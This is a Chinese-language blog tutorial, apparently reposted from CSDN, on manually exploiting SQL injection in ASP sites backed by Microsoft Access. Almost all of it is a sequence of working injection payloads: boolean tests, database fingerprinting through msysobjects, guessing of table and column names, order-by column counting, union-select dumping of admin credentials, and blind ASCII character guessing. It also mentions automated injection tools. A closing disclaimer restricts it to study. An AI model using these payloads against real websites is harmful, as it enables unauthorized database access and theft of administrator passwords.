web渗透测试--手工注入Access数据库

                                                                                                  Web渗透

                                                                                                             ——Access数据库手工注入

找注入点方法:要找有传输值得url

例如:http://000.000.000.000:00/pro_detail.asp?!id=30

       要想注入,一定是要在查询的时候注入一些需要执行的sql语句来一起查询,在页面里肯定不行,因为页面没有传输值,传输值有可能是数字也有可能是字符。

代码审计:主要来看一下有没有过滤

Access注入判断注入点:

‘  在url后直接加 ’  报错查询不到

and 1=1 然后输入这个,一般来说,这种就被过滤了 在url后面加空格输入and 1=1,这个语句没有什么作用,就是看能不能代入查询,如果页面返回正常,则说明代入查询了,

and 1=2   如果and 1=1正确and1=2错误则说明代入数据库查询了,如果and 1=2仍然正确则说明没有代入数据库查询。

如果and被过滤掉了,可以用or来判断,or的判断与and恰好相反

or 1=1

or 1=2

判断出存在注入以后,接下来要判断是什么的数据库

判断数据库类型的方法,在url后加空格加  and exsits (select*from msysobjects)>0   判断Access 数据库,返回为没有数据或者是没有读取权限,说明是Access数据库 ,如果说不存在,则不是Access数据库  

and exsits (select*from sysobjects)>0  判断sqlserver数据库返回为没有数据或者是没有读取权限,说明是sqlserver数据库 ,如果说不存在,则不是sqlserver数据库    

判断数据库的表

and exists(select * from admin) 不报错说明存在admin表,报错的话把admin换成user等试一下,这个呢就靠自己的经验因人而异了,也可以直接用字典跑,是不是很暴力啊。

判断表中的字段名

      and  exists(select admin from admin)

      and  exists(select user from admin)

      and  exists(select pass from admin)

      同样,不报错说明存在这个字段名。

判断出字段名后接下来需要判断字段长度

url后面加 order by 假如说ordre by10 返回正常 order by20返回正常,order by30报错那么字段长度很明显就是20到30之间,具体是哪个可以采用二分法来确定,假设字段长度是9

确定好了字段长度以后使用 and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin 其中select后面的1到9指的是挨个查询,看他的返回值,比如说返回了一个2,3   那么在使用 and 1=2 union select 1,admin,password,6,7,8,9 from admin 数据库联合查询。就会猜解出密码。

番外篇:

判断账户密码长度:and  (select len(admin) from admin)=5 如果返回正常说明管理员账户长度为5,也可以用and  (select len(admin) from admin)>10 等进行猜解

判断管理密码长度:and  (select len(password) from admin)=5 如果返回正常则说明管理密码长度为5,同样也可以用and  (select len(password) from admin)>10进行猜解

比如说,猜解出管理员账户长度为5,接下来要进行猜解管理员账号的第一个数据

通过猜解ascii码来判断

and (select top 1 asc(mid(admin,1,1)) from admin)>100 返回正常则说明大于,不正常则说明不大于

and (select top 1 asc(mid(admin,1,1)) from admin)>50返回正常则说明大于,不正常则说明不大于

and (select top 1 asc(mid(admin,1,1)) from admin)=97 返回正常说明第一个字符对应的ascii码为97,97对应的字母为a

以此类推,判断第二个字符

and (select top 1 asc(mid(admin,2,1)) from admin)>100返回正常则说明大于,不正常则说明不大于

第三个:

and (select top 1 asc(mid(admin,3,1)) from admin)>100返回正常则说明大于,不正常则说明不大于

判断管理员密码的第一个数据:

and (select top 1 asc(mid(password,1,1)) from admin)>100 返回正常则说明大于,不正常则说明不大于

后面猜解的步骤一样,就不一一列举了,通过这样的方法最终也能猜解出管理员帐号密码。

       总结来说,要想成功的通过注入来拿一些比较简单的站的话一般步骤是找注入-->判断数据库-->猜表名-->猜字段名-->

猜字段长度-->数据库联合查询

        以上注入为纯手工注入,练习熟悉语法以及流程的,其实也可以使用啊D、明小子、萝卜头等工具来自动跑一下,效率还是比较高的。能力有限,欢迎各路大牛指正。本文仅用于学习交流,请勿用于违法操作。

 

 

 

猜你喜欢

转载自blog.csdn.net/cliffordr/article/details/81072095